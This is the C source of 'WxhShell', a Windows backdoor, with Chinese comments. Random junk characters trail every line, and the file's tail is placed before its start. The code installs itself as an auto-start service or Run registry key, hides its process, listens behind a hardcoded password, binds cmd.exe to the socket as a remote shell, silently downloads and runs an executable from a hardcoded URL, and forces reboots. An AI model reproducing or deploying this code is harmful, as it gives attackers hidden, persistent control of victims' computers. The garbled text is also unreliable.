    if(Boot(SHUTDOWN)) 9.$k^|~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XhJbBVS|  
    else { /*{s1Zcb  
    closesocket(wsh);  |<1  
    ExitThread(0); WJ$!W  
    } ukRbSJ5a5  
    break; "EC,#$e%ev  
    } rQPV@J]:  
  // 获取shell L(eLxw e%  
  case 's': { TW?A/GoXI  
    CmdShell(wsh); Ny)!uqul*  
    closesocket(wsh); FQCz_ z  
    ExitThread(0); '0>w_ge4  
    break; 2q.J1:lW  
  } &8uq5uKg  
  // 退出 *J] }bX  
  case 'x': { '\.fG\xD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c2<JS:!*  
    CloseIt(wsh); D>Dch0{H,:  
    break; 1-60gI1)  
    } 8!{F6DG  
  // 离开 $17utJ 58  
  case 'q': { J(\f(jh/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); elf2!  
    closesocket(wsh); $&iw(BIq  
    WSACleanup(); -%^KDyZ<&  
    exit(1); %) 8 UyZG  
    break; bjEm=4FI;  
        } &]Q\@;]Aq  
  } StJ&YYdD  
  } YYUWBnf30G  
V8.o}BWY  
  // 提示信息 8(c,b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mm+kG'Z!S  
} 8P= z"y  
  } N v,Yikf  
qkN{l88  
  return; t LZ4<wc  
}  &(Ot(.  
u*J,3o} <  
// shell模块句柄 1FiFP5  
int CmdShell(SOCKET sock) K7H` Yt  
{ (\<#fkeH  
STARTUPINFO si; CPCjY|w7   
ZeroMemory(&si,sizeof(si)); .A`Q!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h}o7/p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #4e Taik  
PROCESS_INFORMATION ProcessInfo; y QxzFy  
char cmdline[]="cmd"; >F~]r$G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  0"_FQv  
  return 0; Spossp`|  
} <Prz>qL$  
nT.2HQ((Xg  
// 自身启动模式 syYe0~  
int StartFromService(void) Oi=c 6n  
{ H_<X\(  
typedef struct n$fYgZKn  
{ fYuz39#*  
  DWORD ExitStatus; AF}6O(C~  
  DWORD PebBaseAddress; !Z*2X ^  
  DWORD AffinityMask; ~;A36M-[.  
  DWORD BasePriority; vf+GC*f  
  ULONG UniqueProcessId; 2}P?N  
  ULONG InheritedFromUniqueProcessId; MwN.Ll  
}   PROCESS_BASIC_INFORMATION; B~oc.s g  
Lgh. 1foK  
PROCNTQSIP NtQueryInformationProcess; &nk[gb o\  
I8C(z1(N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9fyJw1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "Y Z B@  
HH+$rrTT  
  HANDLE             hProcess; ?,J'3nZ'  
  PROCESS_BASIC_INFORMATION pbi; CVp`G"W:  
8MH ZWi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K(+ ~#$|-~  
  if(NULL == hInst ) return 0; kCO`JAH#  
i,DnXgmz@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k<098F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }&Gt&Hm>K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9b8ZOk'9_  
B1GBQH$Ms  
  if (!NtQueryInformationProcess) return 0; GoK[tjb  
]YP J.[n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O|opNr  
  if(!hProcess) return 0; M7|k"iz v  
i1"4z tZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vu3;U  
M~Tx 4_t  
  CloseHandle(hProcess); t<Iy `r7 1  
F|t3%dpj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }6;v`1Hr  
if(hProcess==NULL) return 0; Ov$_Phm:  
lC8DhRd0_  
HMODULE hMod; 6^M!p4$hF  
char procName[255]; 2cy: l03  
unsigned long cbNeeded; s%K 9;(RWI  
}i7Gv K<[:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y my/`%  
"Cz8nG  
  CloseHandle(hProcess); "w#jC ~J<W  
G(2(-x"+  
if(strstr(procName,"services")) return 1; // 以服务启动 WQ(*A $  
+} al_.  
  return 0; // 注册表启动 |#p`mc%f~\  
} L{py\4z'_  
U,?[x2LF  
// 主模块 cN}Aeo  
int StartWxhshell(LPSTR lpCmdLine) SLyeonM-C  
{ kf3 u',}R  
  SOCKET wsl; BB&7VSgc-  
BOOL val=TRUE; <<,YgRl2  
  int port=0; 2WK]I1_  
  struct sockaddr_in door; rq;Xcc  
&R? \q*  
  if(wscfg.ws_autoins) Install(); }pOem}  
1'O++j_%y  
port=atoi(lpCmdLine); T) ZO+}  
2 1b  
if(port<=0) port=wscfg.ws_port; K+=cNC4B  
MlDWK_y_&  
  WSADATA data; hmfO\gc}y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5C}1iZEJ  
~(( '1+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ){u/v[O9"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +j*hbG=  
  door.sin_family = AF_INET; KCE5Z?k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O$=[m9V  
  door.sin_port = htons(port); i(hI\hD  
IQ$cLr-S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8T&.8r  
closesocket(wsl); [8F1rZ&  
return 1; D"x;/I  
} f@3?kM(  
?C%mwW3pc  
  if(listen(wsl,2) == INVALID_SOCKET) { PBXRey7>D  
closesocket(wsl); yfq Vx$YL  
return 1; Pz+2(Z  
} sop *?0  
  Wxhshell(wsl); ?<YQ %qaW7  
  WSACleanup(); z}'-gv\,  
{h< V^r  
return 0; R^DZ@[\iV  
) =KD   
} Hs}3c R}  
k[{h$  
// 以NT服务方式启动 h!k[]bt5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tZW2TUM]  
{ f6\`eLGi1  
DWORD   status = 0; cym<uh-Wg^  
  DWORD   specificError = 0xfffffff; Bu[sSoA  
}XJA#@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M0+xl+c+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `x{*P.]N!<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |ia#Elavo  
  serviceStatus.dwWin32ExitCode     = 0; ] LcCom:]  
  serviceStatus.dwServiceSpecificExitCode = 0; wZ&l6J4L  
  serviceStatus.dwCheckPoint       = 0; WOw( -  
  serviceStatus.dwWaitHint       = 0; (gdi 2  
4^3}+cJ7j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (KHO'QNMt^  
  if (hServiceStatusHandle==0) return; [;?CO<  
Ol%KXq[  
status = GetLastError(); TBAF_$  
  if (status!=NO_ERROR) ku8C#%.m3  
{ Aoi) 11>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &7K 4tL  
    serviceStatus.dwCheckPoint       = 0; Yo 0wufbfV  
    serviceStatus.dwWaitHint       = 0; G1RUu-~+  
    serviceStatus.dwWin32ExitCode     = status; dF@m4U@L  
    serviceStatus.dwServiceSpecificExitCode = specificError; E79'<;K,zs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z1 7=g@  
    return; -rn%ASye  
  } K~1u R:DR  
3FD6.X>x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Yzm\"Ggv  
  serviceStatus.dwCheckPoint       = 0; DJ zJ$Q  
  serviceStatus.dwWaitHint       = 0; F gi&CJ8Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y'$R e  
} bdS  
2LO8SJ#  
// 处理NT服务事件,比如:启动、停止 I34|<3t$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ 5&-U@  
{ +4*3aWf`  
switch(fdwControl) d[0 R#2y=  
{ DlMT<ld  
case SERVICE_CONTROL_STOP: | e? :Uq  
  serviceStatus.dwWin32ExitCode = 0; bS1?I@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )#(6J  
  serviceStatus.dwCheckPoint   = 0; ~AvB5  
  serviceStatus.dwWaitHint     = 0; 4qsP/`8  
  { C2X$bX"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iE6?Px9]  
  } uZ1b_e0SGu  
  return; |~+i=y  
case SERVICE_CONTROL_PAUSE: O`M 6 =\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [3@Pu.-I+M  
  break; (aeS+d x  
case SERVICE_CONTROL_CONTINUE: X[e:fW[e)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [C>>j;q%  
  break; AG Ws>  
case SERVICE_CONTROL_INTERROGATE: ZC99/NWN  
  break; v,[E*qMN  
}; sB~|V <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;1_"  
} Rj'Tu0l  
F|wT']1Y  
// 标准应用程序主函数  @mD$Z09~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hI$IBf>  
{ -eQ>3x&3r  
)/p=ZH0[  
// 获取操作系统版本 ?LwBF;Y  
OsIsNt=GetOsVer(); H(QbH)S$6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K Y=$RO  
^b;3Jj  
  // 从命令行安装 PxvD0GTW  
  if(strpbrk(lpCmdLine,"iI")) Install(); >WcOY7  
p.ks jD  
  // 下载执行文件 j*6>{_[  
if(wscfg.ws_downexe) { _{ Np _ (g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J4woZ{d  
  WinExec(wscfg.ws_filenam,SW_HIDE); A)5;ae  
} .7<6 zG6J  
?niv}/'%O  
if(!OsIsNt) { O30eq 7(  
// 如果时win9x,隐藏进程并且设置为注册表启动 _?I6[Mz  
HideProc(); 2gN78#d  
StartWxhshell(lpCmdLine); RSTA!?K/.  
} |uIgZ|7[  
else k9*6`w  
  if(StartFromService()) gb^<6BYUG  
  // 以服务方式启动 L=_   
  StartServiceCtrlDispatcher(DispatchTable); W6A-/;S\  
else gj@>9  
  // 普通方式启动 M669G;w(K  
  StartWxhshell(lpCmdLine); ` 'vNHY  
*-vH64e  
return 0; Fy#7 <Hp  
} .3 S9=d?  
<9/?+)  
4;|@eN  
@UK%l :L  
=========================================== j9 d^8)O,  
0 3?7kAI  
= j!nt8]8  
@TraEBJGL  
;uhpo  
Q>yO,H|  
" (^~0%1  
kTfE*We9  
#include <stdio.h> }nK=~Wcu\  
#include <string.h> +Y_]<  
#include <windows.h> <*@!>6mS  
#include <winsock2.h> n_/;j$h  
#include <winsvc.h> PN"=P2e/ 6  
#include <urlmon.h> -%_vb6u  
KLpFW}  
#pragma comment (lib, "Ws2_32.lib") -\[&<o@/D  
#pragma comment (lib, "urlmon.lib") hcT5>w[  
?~9o2[  
#define MAX_USER   100 // 最大客户端连接数 ?58*#'r  
#define BUF_SOCK   200 // sock buffer iGw\A!}w\  
#define KEY_BUFF   255 // 输入 buffer XE`u  
l|S_10x5  
#define REBOOT     0   // 重启 b^'>XT~1J&  
#define SHUTDOWN   1   // 关机 (o2.*x  
.)|2^ 'W  
#define DEF_PORT   5000 // 监听端口 nhLw&V3y  
\ ^3cNw  
#define REG_LEN     16   // 注册表键长度 @M)"  
#define SVC_LEN     80   // NT服务名长度 FwpTQix!  
q71V]!  
// 从dll定义API m0,TH[HWGF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~(-df>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A2%RcKY7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p7p6~;P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u):Nq<X  
FfM,~s<Efz  
// wxhshell配置信息 8FJPw"9  
struct WSCFG { v VFT0_  
  int ws_port;         // 监听端口 1#lH5|XQ  
  char ws_passstr[REG_LEN]; // 口令 "3$P<Q\;l;  
  int ws_autoins;       // 安装标记, 1=yes 0=no  q!as~{!  
  char ws_regname[REG_LEN]; // 注册表键名 n%d7`?tm4  
  char ws_svcname[REG_LEN]; // 服务名 `s\E"QeZN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KN:V:8:J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  bE%*ZB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1UN$eb7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jl fIYf~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *Xk gwJq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dq<!wtFG[  
2rrC y C  
}; 3Lm7{s?=Z-  
jMP;$w  
// default Wxhshell configuration IQyw>_~]  
struct WSCFG wscfg={DEF_PORT, m/"}Y]n!  
    "xuhuanlingzhe", L rhQG  
    1, DoFF<LXBt  
    "Wxhshell", T1A/>\Ns  
    "Wxhshell", t $u.  
            "WxhShell Service", 4p&YhV7j)o  
    "Wrsky Windows CmdShell Service", t]XF*fZH  
    "Please Input Your Password: ", |HQFqa <  
  1, nyx(0  
  "http://www.wrsky.com/wxhshell.exe", Tilw.z  
  "Wxhshell.exe" yhxZ^ (I  
    }; . sv uXB  
rds0EZ4W  
// 消息定义模块 h9cx~/7,_)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )vD|VLV   
char *msg_ws_prompt="\n\r? for help\n\r#>"; "rcV?5?v~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jyyr'1/<k  
char *msg_ws_ext="\n\rExit."; *|S{%z9>  
char *msg_ws_end="\n\rQuit."; yC9~X='D  
char *msg_ws_boot="\n\rReboot..."; #RWmP$+#=  
char *msg_ws_poff="\n\rShutdown..."; Jzj>=jWX@  
char *msg_ws_down="\n\rSave to "; R[!%d6jDE  
Ze3sc$fG2  
char *msg_ws_err="\n\rErr!"; $c];&)7q  
char *msg_ws_ok="\n\rOK!"; 6G;t:[H G  
Vb/XT{T;b  
char ExeFile[MAX_PATH]; a!mdL|eA@  
int nUser = 0; t}2M8ue(&  
HANDLE handles[MAX_USER]; r~;TId} #  
int OsIsNt; DC,]FmWs!+  
uE&2M>2  
SERVICE_STATUS       serviceStatus; Ta)6ly7'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |K'7BK_^J  
7KZ>x*o  
// 函数声明 S,GM!YZg  
int Install(void); 10ZL-7D#m  
int Uninstall(void); +5ue) `  
int DownloadFile(char *sURL, SOCKET wsh); VRvX^w0  
int Boot(int flag); vve[.Lud'  
void HideProc(void); #QKgY7  
int GetOsVer(void); T#=&oy7  
int Wxhshell(SOCKET wsl); 1*]@1DJt  
void TalkWithClient(void *cs); r=ht:+m  
int CmdShell(SOCKET sock); cE3V0voSw1  
int StartFromService(void); Y@'ahxF  
int StartWxhshell(LPSTR lpCmdLine); `E5vO1Pl  
csms8J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3.?B')  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E>NL/[1d  
v$EgVc K  
// 数据结构和表定义 "xE;IpO[  
SERVICE_TABLE_ENTRY DispatchTable[] = xi!R[xr1  
{ {>zQW{!  
{wscfg.ws_svcname, NTServiceMain}, 7w5 L?,a  
{NULL, NULL} \:_!!   
}; 5dEek7wnf  
y*5$B.u`.  
// 自我安装 jrm L>0NZ  
int Install(void) m95;NT1N/g  
{ y3NMt6  
  char svExeFile[MAX_PATH]; =d1R9O  
  HKEY key; XV0t 8#T2  
  strcpy(svExeFile,ExeFile); 42 &m)  
%^<A` Q_  
// 如果是win9x系统,修改注册表设为自启动 S0mF %"  
if(!OsIsNt) { Yc~c(1VRz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  *egAx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H^0`YQJ3  
  RegCloseKey(key); FW!1 0K?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 82~ZPZG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OojQG  
  RegCloseKey(key); D(^ |'1  
  return 0; ~e R6[;  
    } `yWWX.`  
  } ^*+-0b;[G  
} f*GdHUZ*  
else { S0-/9h  
h&6t.2<e  
// 如果是NT以上系统,安装为系统服务 he1OLk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *Q:EICDE7  
if (schSCManager!=0) U\`H0'  
{ O{44GB3  
  SC_HANDLE schService = CreateService 2F fwct:  
  ( e!|T Tap  
  schSCManager, 6>; dJV  
  wscfg.ws_svcname, cT,5xp"a  
  wscfg.ws_svcdisp, Odj4)   
  SERVICE_ALL_ACCESS, ]QK@zb}x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9lCZ i?  
  SERVICE_AUTO_START, 1 Ll<^P  
  SERVICE_ERROR_NORMAL, zFGZ;?i  
  svExeFile, SBqx_4}  
  NULL, `DcZpd.n  
  NULL, "\u_gk{g  
  NULL, :Y>M/ /0  
  NULL, zM mV Yx  
  NULL |h75S.UY  
  ); Tq=OYJq5U  
  if (schService!=0) .~fAcc{Qj  
  { c!}f\ ]D  
  CloseServiceHandle(schService); R'{BkC}.  
  CloseServiceHandle(schSCManager); (vqI@fB';u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~pj/_@S@x  
  strcat(svExeFile,wscfg.ws_svcname); OBJk\j+Wi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a]u1_ $)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vW:XM0  
  RegCloseKey(key); b|z_1j6U  
  return 0; J#tY$PE  
    } ILq"/S.  
  } +x"cWOg  
  CloseServiceHandle(schSCManager); vTF_`X  
} ;*_U)th  
} 84$#!=v  
6K zdWT  
return 1; +:fr(s!OE  
} ??.9`3CYo  
7Yrp#u1!  
// 自我卸载 tlz)V1L  
int Uninstall(void) v3{[rK}  
{ h(VF  
  HKEY key; M<x W)R  
W2\ Q-4D  
if(!OsIsNt) { !O~5<tA[#1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |6}:n,KA.  
  RegDeleteValue(key,wscfg.ws_regname); $VLCD  
  RegCloseKey(key); `:fc*n,*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {   S9Ka  
  RegDeleteValue(key,wscfg.ws_regname); zIjUfgO/M  
  RegCloseKey(key); -U/m  
  return 0; ".R5K ?  
  } ]rP'\a  
} nQW`X=Ku  
} M&5;Qeoiv  
else { y8.(filNB  
R0!qweGi@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7iJ=~po:o  
if (schSCManager!=0) 7f9i5E1  
{ ZHku3)V=o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j. L`@  
  if (schService!=0) D3+UV+&R/  
  { xRx8E;Q@h?  
  if(DeleteService(schService)!=0) {  EL[N%M3  
  CloseServiceHandle(schService); :jp4 !0w  
  CloseServiceHandle(schSCManager); M;i4ss,}!  
  return 0; z a^s%^:yK  
  } N7`<t&T@  
  CloseServiceHandle(schService); 'F665  
  } N<54_(|X  
  CloseServiceHandle(schSCManager); mVBF2F<4  
} 0$9I.%4jAJ  
} CdN,R"V0$@  
FOU^Wcop%  
return 1; mjd9]HgN  
} D>c-h)2|  
&sRjs  
// 从指定url下载文件 E'g2<k  
int DownloadFile(char *sURL, SOCKET wsh) >{dj6Wo  
{ mfNYN4Um6  
  HRESULT hr; dU~DlaEy(  
char seps[]= "/"; Fq<;-  
char *token; 2-3|0<`  
char *file; 6jIW)C  
char myURL[MAX_PATH]; jBvZ>H+w~  
char myFILE[MAX_PATH]; *qLOr6  
){.J`X5r  
strcpy(myURL,sURL); lTh}0t  
  token=strtok(myURL,seps); G 39  
  while(token!=NULL) Tmo+I4qoL  
  { m j{ /'  
    file=token; Hlw0i a  
  token=strtok(NULL,seps); v<`1z?dch  
  } EQ j2:9f  
f V|Zh  
GetCurrentDirectory(MAX_PATH,myFILE); GoGo@5n(Z  
strcat(myFILE, "\\"); i*JbFukG  
strcat(myFILE, file); Q7]VB p4  
  send(wsh,myFILE,strlen(myFILE),0); }Dig'vpMx  
send(wsh,"...",3,0); btC.EmX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;b""N,  
  if(hr==S_OK) myj^c>1Iz  
return 0; U 6y ;V  
else k-( hJ}N  
return 1; N2"4dVV;  
[]{g9CO  
} bD[6) ITg  
Qhd~4  
// 系统电源模块 7b2N'^z}  
int Boot(int flag) %0PZZl5b  
{ Hset(-=X  
  HANDLE hToken; C<.t'|  
  TOKEN_PRIVILEGES tkp; 7b_Ihv   
qR~s&SC#  
  if(OsIsNt) { TT429  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &S.zc@rN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  (BgO<  
    tkp.PrivilegeCount = 1; %EuXL% B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; od- 0wJN-m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I499 Rrw#E  
if(flag==REBOOT) { 'y#kRC=G:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /#PEEN  
  return 0; k MS[   
} "-N)TIzLX  
else { z^/aJ@gQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Hr0ScmN@"  
  return 0; (YjY=F  
} Uv6#d":f;  
  } .&ynS  
  else { h-1eDxK6  
if(flag==REBOOT) { sa~.qmqu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t-\S/N  
  return 0; EiY i<Z_S  
} urHQb5|T}  
else { Zcg=a_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *R*Tmo"  
  return 0; Ah_'.r1<P9  
} #]ii/Et#x  
} ?Rl?Pp=>  
%aX<p{EY  
return 1; ~>@Dn40  
} - v9V/LJ  
`@{qnCNQ  
// win9x进程隐藏模块 {PHxm  
void HideProc(void) =>6Z"LD(  
{ /q %TjQ}F  
.E_`*[ 5=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K \}xb2s  
  if ( hKernel != NULL ) ?K7m:Dx  
  { nTSGcMI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %D z|p]49!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %ma1LN[  
    FreeLibrary(hKernel); XcA4EBRj  
  } E'LkoyI  
l}X3uy S  
return; t-SGG{  
} Rww"Z=F  
r+HJ_R,5A  
// 获取操作系统版本 &X^~%\F:2  
int GetOsVer(void) >Lanuv)O  
{ `xkJ.,#Io  
  OSVERSIONINFO winfo; kTG}>I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r]'AdJFt  
  GetVersionEx(&winfo); \z8TYx@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `S Wf)1K  
  return 1; \O?#gW\tR  
  else kX {c+qHM  
  return 0; ~ K^Z4  
} WKpHb:H  
.N] ^g#  
// 客户端句柄模块 KhZ'Ic[vw  
int Wxhshell(SOCKET wsl) 7,|-%!p[  
{ KoQvC=+WI  
  SOCKET wsh; R+Ke|C  
  struct sockaddr_in client; l\5qa_{z  
  DWORD myID; mxjY-Kq  
#hzs,tvvD  
  while(nUser<MAX_USER) XH)MBr@Fz  
{ iD@2_m)  
  int nSize=sizeof(client); Ssaf RK$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W.o W =<  
  if(wsh==INVALID_SOCKET) return 1; P G) dIec  
z@VY s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A1\;6W:  
if(handles[nUser]==0) G <m{o  
  closesocket(wsh); +98~OInySZ  
else 2`t4@T  
  nUser++; wmY6&^?uS  
  } 9VkuYm,3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yq[C?N &N  
e&F,z=XJ}  
  return 0; ? Z8_(e0U  
} av wU)6L  
1k l4X3q6  
// 关闭 socket QsI>_<r  
void CloseIt(SOCKET wsh) sBF>a|  
{ bQ0m=BzF  
closesocket(wsh); [m!\ZK  
nUser--; kvSSz%R~  
ExitThread(0); 05nG |  
} -CY?~W L&  
.he%a3e  
// 客户端请求句柄 5nqj  
void TalkWithClient(void *cs) sBF}j.b  
{ ImklM7A  
Wuye:b!  
  SOCKET wsh=(SOCKET)cs; /5suyM=U  
  char pwd[SVC_LEN]; mRfF)  
  char cmd[KEY_BUFF]; ^#exs Xy  
char chr[1]; sKjg)3Sl  
int i,j; nb'],({:9  
LUKdu&M  
  while (nUser < MAX_USER) {  UX2`x9  
sh}=#eb  
if(wscfg.ws_passstr) { Dw;L=4F |  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } RG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @?*26}qp  
  //ZeroMemory(pwd,KEY_BUFF); D4n ~ 2]  
      i=0; ]Rnr>_>x;  
  while(i<SVC_LEN) { Z'WoChjM  
 ;{BELv-4  
  // 设置超时 rN$_(%m_N  
  fd_set FdRead; rq}ew0&/  
  struct timeval TimeOut; _l}&|:  
  FD_ZERO(&FdRead); ^"l>;.w  
  FD_SET(wsh,&FdRead); wp.<}=|u  
  TimeOut.tv_sec=8; $>5|TG 0i  
  TimeOut.tv_usec=0; (EuHQ &<^9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /$WEO[o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XkuNLs4  
im%'S6_X4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "=9L7.E)  
  pwd=chr[0]; -UPdgZ_Vxz  
  if(chr[0]==0xd || chr[0]==0xa) { +UHf&i/3  
  pwd=0; Sxjwqqv  
  break; 7qgHH p  
  } $0D]d.w=  
  i++; k=w%oqpN  
    } X!"ltNd  
f]%$HfF @  
  // 如果是非法用户,关闭 socket ph%/;?wY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /jeurCQ8#u  
} ?8b?{`@V  
^#lPXC Bg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n/S1Hae`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hUB _[#8#  
z930Wi{@  
while(1) { h+CTi6-p  
,V.X-`Y  
  ZeroMemory(cmd,KEY_BUFF); Skp&W*Ai  
[=7|LH jU  
      // 自动支持客户端 telnet标准   #s)6u?N  
  j=0; kVy%y"/  
  while(j<KEY_BUFF) { >F!2ib8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g G~UsA  
  cmd[j]=chr[0]; 4[Hf[.  
  if(chr[0]==0xa || chr[0]==0xd) { qL,!  
  cmd[j]=0; f77Jn^Dt  
  break; EFqWnz  
  } &JtK<g  
  j++; -+#\WB{AI  
    } <8+.v6DCd  
^yu0Veypy  
  // 下载文件 p_) V@ 7  
  if(strstr(cmd,"http://")) { +VI2i~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vv"_u=H  
  if(DownloadFile(cmd,wsh)) oh:g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ^zX7  
  else  $3W[fC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : JD% =w_  
  } a~9U{)@F  
  else { sD_Z`1  
/F4rbL^:  
    switch(cmd[0]) { iaLsIy#h  
  Zh6bUxr  
